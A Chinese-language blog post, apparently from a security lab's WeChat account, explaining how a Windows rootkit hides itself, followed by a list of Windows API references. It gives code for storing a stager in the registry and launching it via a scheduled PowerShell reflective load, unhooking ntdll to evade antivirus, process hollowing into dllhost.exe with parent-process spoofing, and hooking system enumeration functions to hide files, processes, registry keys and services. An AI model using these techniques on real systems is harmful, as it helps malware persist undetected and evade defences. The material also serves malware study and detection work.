windows rootkit初探之隐藏
Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。
阶段一,创建计划任务
LPBYTE stager;
DWORD stagerSize;
if (!GetResource(IDR_STAGER, "EXE", &stager, &stagerSize)) return 0;
从指定目录,加载stager.exe
文件,传递给&stager
BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size)
{
HRSRC resource = FindResourceA(NULL, MAKEINTRESOURCEA(resourceID), type);
if (resource)
{
*size = SizeofResource(NULL, resource);
if (*size)
{
HGLOBAL resourceData = LoadResource(NULL, resource);
if (resourceData)
{
*data = (LPBYTE)LockResource(resourceData);
return TRUE;
}
}
}
return FALSE;
HKEY key;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_ALL_ACCESS | KEY_WOW64_32KEY, &key) != ERROR_SUCCESS ||
RegSetValueExW(key, HIDE_PREFIX L"stager", 0, REG_BINARY, stager, stagerSize) != ERROR_SUCCESS) return 0;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &key) != ERROR_SUCCESS ||
RegSetValueExW(key, HIDE_PREFIX L"stager", 0, REG_BINARY, stager, stagerSize) != ERROR_SUCCESS) return 0;
分32和64位系统架构,这里直接调用的系统上的powershell.exe
执行命令。
DeleteScheduledTask(R77_SERVICE_NAME64);
if (CreateScheduledTask(R77_SERVICE_NAME64, L"", L"powershell", powershellCommand64))
{
RunScheduledTask(R77_SERVICE_NAME64);
}
用powershell
的反射加载从注册表运行Stager.exe
"[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(`SOFTWARE`).GetValue(`" HIDE_PREFIX L"stager`)).EntryPoint.Invoke($Null,$Null)"
阶段二,进程空心化创建服务进程
AV挂钩仅存在于⽤⼾模式中, 通常不实现内核模式挂钩。通过从磁盘加载新的 ntdll.dll 副本并将当前加载的 ntdll 模块的 .text 部分替换为原始未挂钩⽂件内容。
获取原始 DLL 句柄
IntPtr dll = GetModuleHandle(name);
获取原始DLL模块信息
GetModuleInformation(GetCurrentProcess(), dll, out MODULEINFO moduleInfo, (uint)sizeof(MODULEINFO))
创建一个新的 DLL 文件副本
IntPtr dllFile = CreateFileA(systemDirectory + name, 0x80000000, 1, IntPtr.Zero, 3, 0, IntPtr.Zero);
映射到内存
IntPtr dllMapping = CreateFileMapping(dllFile, IntPtr.Zero, 0x1000002, 0, 0, null);
获取nt头大小、节数、可选头大小
int ntHeaders = Marshal.ReadInt32((IntPtr)((long)moduleInfo.BaseOfDll + 0x3c));
short numberOfSections = Marshal.ReadInt16((IntPtr)((long)dll + ntHeaders + 0x6));
short sizeOfOptionalHeader = Marshal.ReadInt16(dll, ntHeaders + 0x14);
找到挂钩 DLL 的 .text 部分并用原始 DLL 部分覆盖它
定位:从内存中的头中找到byte字符.text
替换
memcpy((IntPtr)((long)dll + virtualAddress), (IntPtr)((long)dllMappedFile + virtualAddress), (IntPtr)virtualSize);
进程空心化:引导应用程序创建一个处于挂起状态的看似无害的进程。然后取消合法映像的映射并替换为要隐藏的映像。如果新映像的首选映像库与旧映像的首选映像库不匹配,新映像必须被重定基。一旦新映像被加载到存储器中,挂起的线程的EAX寄存器被设置为入口点。然后恢复该过程并执行新映像的入口点。
使用STARTUPINFOEX实现父进程欺骗
初始化非托管内存
int startupInfoLength = IntPtr.Size == 4 ? 0x48 : 0x70;
IntPtr startupInfo = Allocate(startupInfoLength);
Marshal.Copy(new byte[startupInfoLength], 0, startupInfo, startupInfoLength);
Marshal.WriteInt32(startupInfo, startupInfoLength);
Marshal.WriteIntPtr(startupInfo, startupInfoLength - IntPtr.Size, attributeList);
byte[] processInfo = new byte[IntPtr.Size == 4 ? 0x10 : 0x18];
IntPtr context = Allocate(IntPtr.Size == 4 ? 0x2cc : 0x4d0);
Marshal.WriteInt32(context, IntPtr.Size == 4 ? 0 : 0x30, 0x10001b);
创建新进程和主线程
// path: C:WindowsSystem32dllhost.exe
// commandLine: "/Processid:" + Guid.NewGuid().ToString("B")
CreateProcess(path, path + " " + commandLine, IntPtr.Zero, IntPtr.Zero, true, 0x80004, IntPtr.Zero, null, startupInfo, processInfo)
获取新进程的ID和地址
processId = BitConverter.ToInt32(processInfo, IntPtr.Size * 2);
IntPtr process = IntPtr.Size == 4 ? (IntPtr)BitConverter.ToInt32(processInfo, 0) : (IntPtr)BitConverter.ToInt64(processInfo, 0);
取消合法映像
NtUnmapViewOfSection(process, imageBase);
替换要隐藏的映像
NtWriteVirtualMemory(process, (IntPtr)((long)imageBase + virtualAddress), rawData, rawData.Length, IntPtr.Zero)
获取EAC寄存器并设置为入口点
NtGetContextThread(thread, context)
IntPtr rdx = (IntPtr)Marshal.ReadInt64(context, 0x88);
NtWriteVirtualMemory(process, (IntPtr)((long)rdx + 16), BitConverter.GetBytes((long)imageBase), 8, IntPtr.Zero);
Marshal.WriteInt64(context, 0x80, (long)imageBase + entryPoint);
恢复并执行
NtSetContextThread(thread, context);
NtResumeThread(thread, out _);
阶段三,DLL反射相关函数隐藏对象
主要原理是HOOK相关函数(dll反射),枚举对应的⽂件、⽬录、进程、服务、注册表项等,然后对其进行隐藏。
相关函数大部分在ntdll.dll
中,例外的是 advapi32.dll
和 sechost.dll
。这些函数与隐藏服务挂钩。这是因为实际的服务枚举发生在 services.exe 中,无法注入。包括:
InstallHook("ntdll.dll", "NtQuerySystemInformation", (LPVOID*)&OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation);
InstallHook("ntdll.dll", "NtResumeThread", (LPVOID*)&OriginalNtResumeThread, HookedNtResumeThread);
InstallHook("ntdll.dll", "NtQueryDirectoryFile", (LPVOID*)&OriginalNtQueryDirectoryFile, HookedNtQueryDirectoryFile);
InstallHook("ntdll.dll", "NtQueryDirectoryFileEx", (LPVOID*)&OriginalNtQueryDirectoryFileEx, HookedNtQueryDirectoryFileEx);
InstallHook("ntdll.dll", "NtEnumerateKey", (LPVOID*)&OriginalNtEnumerateKey, HookedNtEnumerateKey);
InstallHook("ntdll.dll", "NtEnumerateValueKey", (LPVOID*)&OriginalNtEnumerateValueKey, HookedNtEnumerateValueKey);
InstallHook("advapi32.dll", "EnumServiceGroupW", (LPVOID*)&OriginalEnumServiceGroupW, HookedEnumServiceGroupW);
InstallHook("advapi32.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW, HookedEnumServicesStatusExW);
InstallHook("sechost.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW2, HookedEnumServicesStatusExW2);
InstallHook("ntdll.dll", "NtDeviceIoControlFile", (LPVOID*)&OriginalNtDeviceIoControlFile, HookedNtDeviceIoControlFile);
先遍历给定路径或文件名
do{
nextEntryOffset = FileInformationGetNextEntryOffset(current, fileInformationClass);
······
}while (nextEntryOffset);
把指针偏移到下一个文件,跳过要隐藏的文件。
RtlCopyMemory
(
current,
(LPBYTE)current + nextEntryOffset,
(ULONG)(length - ((ULONGLONG)current - (ULONGLONG)fileInformation) - nextEntryOffset)
);
其他隐藏方法类似。
补充内容
什么是dllhost.exe
https://www.groovypost.com/reviews/dllhost-windows-process-explained/
总结
Dllhost.exe是由Microsoft创建的安全Windows进程。它用于启动其他应用程序和服务。由于它对若干系统资源至关重要,因此应保持运行。
用到的Windows API
GetModuleHandle function (libloaderapi.h)
检索指定模块的模块句柄。该模块必须已由调用进程加载。
要避免备注部分中描述的竞争条件,请使用 GetModuleHandleEx 函数。
HMODULE GetModuleHandle(
[in, optional] LPCSTR lpModuleName
);
GetCurrentProcess function (processthreadsapi.h)
检索当前进程的伪句柄
HANDLE GetCurrentProcess();
GetModuleInformation function (psapi.h)
检索有关 MODULEINFO 结构中指定模块的信息。
BOOL GetModuleInformation(
[in] HANDLE hProcess,
[in] HMODULE hModule,
[out] LPMODULEINFO lpmodinfo,
[in] DWORD cb
);
CreateFileA function (fileapi.h)
创建或打开文件或 I/O 设备。最常用的 I/O 设备如下:文件、文件流、目录、物理磁盘、卷、控制台缓冲区、磁带驱动器、通信资源、邮槽和管道。该函数返回一个句柄,根据文件或设备以及指定的标志和属性,该句柄可用于访问文件或设备以进行各种类型的 I/O。
若要将此操作作为事务操作执行,从而产生可用于事务 I/O 的句柄,请使用 CreateFileTransacted 函数。
HANDLE CreateFileA(
[in] LPCSTR lpFileName,
[in] DWORD dwDesiredAccess,
[in] DWORD dwShareMode,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
[in] DWORD dwCreationDisposition,
[in] DWORD dwFlagsAndAttributes,
[in, optional] HANDLE hTemplateFile
);
MapViewOfFile function (memoryapi.h)
将文件映射视图映射到调用进程的地址空间。
要为视图指定建议的基地址,请使用 MapViewOfFileEx 函数。但是,不推荐这种做法。
LPVOID MapViewOfFile(
[in] HANDLE hFileMappingObject,
[in] DWORD dwDesiredAccess,
[in] DWORD dwFileOffsetHigh,
[in] DWORD dwFileOffsetLow,
[in] SIZE_T dwNumberOfBytesToMap
);
VirtualProtect function (memoryapi.h)
在调用进程的虚拟地址空间中更改对已提交页面区域的保护。
要更改任何进程的访问保护,请使用 VirtualProtectEx 函数。
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
OpenProcess function (processthreadsapi.h)
打开现有的本地进程对象。
HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId
);
InitializeProcThreadAttributeList function (processthreadsapi.h)
为进程和线程创建初始化指定的属性列表
BOOL InitializeProcThreadAttributeList(
[out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
[in] DWORD dwAttributeCount,
DWORD dwFlags,
[in, out] PSIZE_T lpSize
);
CreateProcess function (processthreadsapi.h)
创建一个新进程及其主线程。新进程在调用进程的安全上下文中运行。
如果调用进程正在模拟另一个用户,则新进程将使用调用进程的令牌,而不是模拟令牌。要在由模拟令牌表示的用户的安全上下文中运行新进程,请使用 CreateProcessAsUser 或 CreateProcessWithLogonW 函数。
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
NtAllocateVirtualMemory function (ntifs.h)
NtAllocateVirtualMemory 例程在指定进程的用户模式虚拟地址空间内保留、提交或两者兼而有之。
__kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory(
[in] HANDLE ProcessHandle,
[in, out] PVOID *BaseAddress,
[in] ULONG_PTR ZeroBits,
[in, out] PSIZE_T RegionSize,
[in] ULONG AllocationType,
[in] ULONG Protect
);
memcpy
将 num 个字节的值从 source 指向的位置直接复制到 destination 指向的内存块。
void * memcpy ( void * destination, const void * source, size_t num );
Marshal.ReadInt32 Method
从非托管内存中读取一个 32 位有符号整数。支持从未对齐的内存位置读取。
public static int ReadInt32 (IntPtr ptr);
Marshal.ReadInt16 Method
从非托管内存中读取一个 16 位有符号整数。支持从未对齐的内存位置读取。
// 从非托管内存中读取给定偏移量的 16 位有符号整数。
public static short ReadInt16(Object, Int32);
Process.EnterDebugMode Method
通过在当前线程上启用本机属性 SeDebugPrivilege,将 Process 组件置于与以特殊模式运行的操作系统进程交互的状态。
public static void EnterDebugMode ();
MemoryStream Class
创建一个后备存储为内存的流。
public class MemoryStream : System.IO.Stream
GZipStream Class
提供用于使用 GZip 数据格式规范压缩和解压缩流的方法和属性。
public class GZipStream : System.IO.Stream
Process.GetProcessesByName Method
创建一个新流程组件的数组,并将它们与现有的流程资源相关联,这些现有流程资源都共享指定的流程名称。
Marshal.WriteIntPtr Method
将处理器本机大小的整数值写入非托管内存。32 位整数写在 32 位系统上,64 位整数写在 64 位系统上。支持写入未对齐的内存位置。
public static void WriteIntPtr (IntPtr ptr, IntPtr val);
Marshal.Copy Method
将数据从托管数组复制到非托管内存指针,或从非托管内存指针复制到托管数组。
public static void Copy (float[] source, int startIndex, IntPtr destination, int length);
Marshal.WriteInt32 Method
将 32 位有符号整数值写入非托管内存。支持写入未对齐的内存位置。
[System.Obsolete("WriteInt32(Object, Int32, Int32) may be unavailable in future releases.")]
public static void WriteInt32 (object ptr, int ofs, int val);
Marshal.WriteIntPtr Method
将处理器本机大小的整数值写入非托管内存。32 位整数写在 32 位系统上,64 位整数写在 64 位系统上。支持写入未对齐的内存位置。
public static void WriteIntPtr (IntPtr ptr, IntPtr val);
BitConverter.ToInt32 Method
返回从字节数组中指定位置的四个字节转换而来的 32 位有符号整数。
public static int ToInt32 (byte[] value, int startIndex);
NtUnmapViewOfSection (ntdll)
概括NtUnmapViewOfSection 例程从主题进程的虚拟地址空间中取消映射节的视图。
[DllImport("ntdll.dll", SetLastError=true)]
static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);
NtWriteVirtualMemory (ntdll)
在当前或远程进程中写入内存
[DllImport("ntdll.dll", SetLastError=true)]
static extern NTSTATUS NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, UInt32 NumberOfBytesToWrite, ref UInt32 NumberOfBytesWritten);
Buffer.BlockCopy(Array, Int32, Array, Int32, Int32) Method
将指定数量的字节从以特定偏移量开始的源数组复制到以特定偏移量开始的目标数组。
public static void BlockCopy (Array src, int srcOffset, Array dst, int dstOffset, int count);
NtResumeThread (ntdll)
概括恢复线程(ntdll 等效于 kernel32 ResumeThread)
[DllImport("ntdll.dll", SetLastError : true)]
def NtResumeThread(ThreadHandle as IntPtr, ref SuspendCount as UInt32) as UInt32:
pass
原文始发于微信公众号(云智信安云窟实验室):windows rootkit初探之隐藏
评论